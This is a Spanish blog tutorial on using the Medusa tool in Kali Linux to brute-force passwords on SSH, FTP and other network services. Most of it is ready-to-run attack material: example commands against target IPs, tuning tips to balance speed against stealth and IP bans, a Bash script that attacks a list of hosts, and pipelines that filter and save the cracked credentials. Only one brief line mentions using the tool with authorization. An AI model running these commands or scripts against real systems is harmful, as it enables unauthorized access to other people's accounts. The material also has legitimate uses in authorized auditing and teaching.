Medusa: Fuerza Bruta en Kali Linux

 https://www.onlinetis.com/es/

Medusa: Fuerza Bruta en Kali Linux

Si te refieres a Medusa en el contexto de Kali Linux, estás hablando de una de las herramientas más potentes y rápidas para realizar ataques de fuerza bruta modulares y paralelos contra servicios de red.

Aquí tienes una guía rápida en español sobre qué es y cómo se usa:


¿Qué es Medusa?

Es una herramienta de línea de comandos diseñada para adivinar credenciales (usuario y contraseña) mediante fuerza bruta en una gran variedad de protocolos. Su principal ventaja es que es paralela, lo que significa que puede probar múltiples usuarios o hosts al mismo tiempo.

Protocolos compatibles

Medusa soporta muchísimos servicios, entre ellos:

  • SSH

  • FTP

  • HTTP (Formularios y Auth básica)

  • Telnet

  • SMB (Windows)

  • MSSQL / MySQL

  • VNC


Comandos básicos y sintaxis

La estructura básica de un comando en Medusa es la siguiente:

medusa -h [IP_Objetivo] -u [Usuario] -P [Diccionario_Pass] -M [Módulo]

Diccionario de parámetros comunes:

ParámetroDescripción
-hHost (dirección IP o dominio del objetivo).
-HArchivo que contiene una lista de IPs objetivos.
-uUn nombre de usuario específico.
-UArchivo con una lista de nombres de usuario.
-pUna contraseña específica.
-PArchivo con una lista de contraseñas (wordlist).
-MEl nombre del módulo (protocolo) a atacar (ej. ssh, ftp).
-nPuerto no estándar (si el servicio no usa el de por defecto).

Ejemplos prácticos

1. Ataque a SSH con un usuario conocido

Si sabes que el usuario es "admin" y quieres probar contraseñas de una lista:

medusa -h 192.168.1.50 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh

2. Ataque a FTP con lista de usuarios y contraseñas

medusa -h 192.168.1.50 -U usuarios.txt -P passwords.txt -M ftp

3. Verificar módulos disponibles

Para ver qué protocolos tienes instalados y puedes usar:

medusa -d


Consideraciones importantes

Nota de seguridad: Medusa es una herramienta de auditoría. Úsala solo en entornos controlados o bajo autorización expresa. El uso de fuerza bruta suele generar muchos registros (logs) en el servidor objetivo, por lo que es fácil de detectar por sistemas de seguridad (IDS/IPS).

 

Optimizar la velocidad en Medusa es un equilibrio delicado: si vas muy rápido, puedes saturar el ancho de banda o hacer que el servidor bloquee tu IP; si vas muy lento, el ataque podría tardar semanas.

Aquí tienes las claves para ajustar el rendimiento y la agresividad del ataque:


1. Control de hilos y paralelismo

Medusa permite gestionar cuántas tareas ocurren al mismo tiempo. Estos son los parámetros críticos:

  • -t [número] (Hilos totales): Define cuántas combinaciones de usuario/contraseña se prueban simultáneamente en total. Por defecto suele ser 16.

    • Ejemplo: -t 50 (Aumenta la carga, ideal para redes locales rápidas).

  • -T [número] (Hilos por host): Define cuántos intentos se hacen simultáneamente contra un solo objetivo.

    • Cuidado: Muchos servidores limitan las conexiones simultáneas desde una misma IP. Si pones un número muy alto (ej. 20), el servidor podría empezar a rechazar conexiones legítimas.


2. Optimización del Diccionario (Wordlist)

La velocidad real no depende solo de cuántas palabras pruebas por segundo, sino de probar las correctas primero.

  • Usa -F (First match): Este parámetro detiene el ataque en cuanto encuentra una combinación válida. Sin esto, Medusa seguirá probando el resto del diccionario aunque ya tenga la clave.

  • Orden de las contraseñas: Asegúrate de que tu archivo .txt tenga las contraseñas más comunes (como admin, 123456, password) al principio.

  • Combinaciones específicas: Si sabes que el usuario es "root", usa -u root en lugar de una lista de usuarios -U, así reduces el espacio de búsqueda a la mitad.


3. Ajuste de Tiempos y Reintentos

A veces el cuello de botella es la respuesta de la red o del servicio.

  • -r [segundos] (Reintento): Define cuánto tiempo esperar antes de reintentar si hay un error de conexión.

  • -R [número] (Máximo de reintentos): Si un servicio está lento, reducir los reintentos evita que Medusa se quede "atascado" en un host que no responde.


4. Comparativa de Estrategia

Para que visualices cómo influye el paralelismo en la velocidad:

EstrategiaVentajaDesventaja
Bajo paralelismo (-t 5)Muy sigiloso, difícil de detectar.Extremadamente lento.
Alto paralelismo (-t 100)Resultados muy rápidos.Alta probabilidad de bloqueo (Baneo de IP).
Optimizado (-t 30 -F)Equilibrio ideal para redes corporativas.Requiere monitoreo constante.

Recomendación Pro: ¿Por qué no usar Hydra?

Aunque Medusa es excelente, si buscas velocidad pura y soporte para protocolos más modernos, muchos profesionales prefieren Hydra. Hydra suele ser ligeramente más rápido en el manejo de múltiples hilos y tiene una sintaxis más flexible para ataques web complejos.

Tip: Antes de lanzar un ataque masivo, prueba con -t 1 y una sola contraseña para verificar que el módulo (-M) está funcionando correctamente y que no hay un Firewall bloqueándote de entrada.

 

Crear un script te permite automatizar el proceso para múltiples objetivos y guardar los resultados de forma ordenada. En Bash (el lenguaje de la terminal de Kali), esto es muy eficiente.

Aquí tienes un ejemplo de un script profesional y optimizado para Medusa:


Script: Automatizador de Medusa (brute_scan.sh)

Este script lee una lista de IPs de un archivo, lanza Medusa contra cada una y guarda los éxitos en un archivo separado.

Bash
#!/bin/bash

# Configuración de archivos
TARGETS="ips_objetivo.txt"      # Archivo con una IP por línea
USER_LIST="usuarios.txt"        # Lista de usuarios
PASS_LIST="diccionario.txt"     # Lista de contraseñas
OUTPUT="resultados_exitosos.txt"
MODULE="ssh"                   # Cambia a ftp, telnet, etc.

echo "[+] Iniciando escaneo de fuerza bruta con Medusa..."
echo "----------------------------------------------------"

# Bucle para recorrer cada IP del archivo targets
while read -r ip; do
    echo "[*] Atacando host: $ip"
    
    # Ejecución de Medusa:
    # -t 20: 20 hilos para velocidad
    # -F: Detenerse al encontrar la primera clave válida
    # -L: Guardar solo los aciertos en el archivo de salida
    medusa -h "$ip" -U "$USER_LIST" -P "$PASS_LIST" -M "$MODULE" -t 20 -F >> "$OUTPUT"

done < "$TARGETS"

echo "----------------------------------------------------"
echo "[+] Proceso finalizado. Revisa $OUTPUT para ver los resultados."

Cómo preparar y ejecutar el script

  1. Crea los archivos necesarios:

    • nano ips_objetivo.txt (escribe las IPs que quieres atacar).

    • nano usuarios.txt (escribe los nombres de usuario).

    • nano diccionario.txt (tus contraseñas candidatas).

  2. Guarda el script:

    • Copia el código de arriba en un archivo llamado brute_scan.sh.

  3. Dale permisos de ejecución:

    Bash
    chmod +x brute_scan.sh
    
  4. Lánzalo:

    Bash
    ./brute_scan.sh
    

¿Cómo hacerlo aún más rápido?

Si tienes una lista de 100 IPs y no quieres esperar a que termine una por una, puedes usar el parámetro nativo de Medusa para procesar archivos de hosts en paralelo:

En lugar del script, usa:

medusa -H ips_objetivo.txt -U usuarios.txt -P diccionario.txt -M ssh -t 50 -F

  • -H (mayúscula): Lee todas las IPs y reparte los 50 hilos (-t 50) entre todos los servidores activos. Esto es mucho más veloz que el script anterior porque no espera a que termine el servidor A para empezar con el B.

 

Para que los resultados sean legibles y no tengas que bucear entre miles de líneas de "intento fallido", vamos a usar filtros de texto de Linux (grep y awk). Esto te permitirá ver solo lo que importa: las credenciales válidas.

Aquí tienes cómo modificar tu comando y una técnica para limpiar la pantalla en tiempo real:


1. El comando "Limpio" (Solo éxitos)

Si quieres lanzar Medusa y que solo aparezcan en pantalla las combinaciones que funcionaron, añade un grep al final:

Bash
medusa -H targets.txt -U users.txt -P pass.txt -M ssh -t 50 -F | grep "ACCOUNT FOUND"
  • ¿Qué hace esto? Medusa escribe "ACCOUNT FOUND" cada vez que tiene éxito. Al filtrar con grep, ocultas los miles de mensajes de "FAILED".


2. Script mejorado con salida formateada

Si prefieres que el script genere un reporte bonito que puedas leer después, usa este formato:

Bash
#!/bin/bash

# Ejecución silenciosa y filtrado
echo "[+] Escaneando... Los resultados aparecerán debajo:"
echo "----------------------------------------------------"

# Ejecutamos medusa y filtramos la salida para que sea: IP | USUARIO | PASSWORD
medusa -H ips_objetivo.txt -U usuarios.txt -P diccionario.txt -M ssh -t 40 -F | grep "ACCOUNT FOUND" | awk '{print "FOUND: " $3 " -> User: " $5 " | Pass: " $7}'

echo "----------------------------------------------------"
echo "[!] Escaneo completado."

¿Por qué usar awk?

El comando awk toma la línea de éxito de Medusa (que es larga y desordenada) y selecciona solo las columnas importantes. La salida se verá así:

FOUND: 192.168.1.50 -> User: admin | Pass: 12345


3. Guardar solo lo "Limpio" en un archivo

Si quieres que además de verlo en pantalla se guarde en un archivo listo para usar, usa el comando tee:

Bash
medusa -H targets.txt -U users.txt -P pass.txt -M ssh -t 50 -F | grep "ACCOUNT FOUND" | tee -a log_exitos.txt
  • tee -a: Muestra el resultado en la terminal y además lo añade al archivo log_exitos.txt.


Un último consejo de velocidad:

Si ves que el servidor te desconecta (errores de "Connection dropped"), reduce el número de hilos por host con -T. A veces, menos es más:

  • -t 50 (50 intentos totales a la vez).

  • -T 4 (máximo 4 intentos simultáneos por cada IP).

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux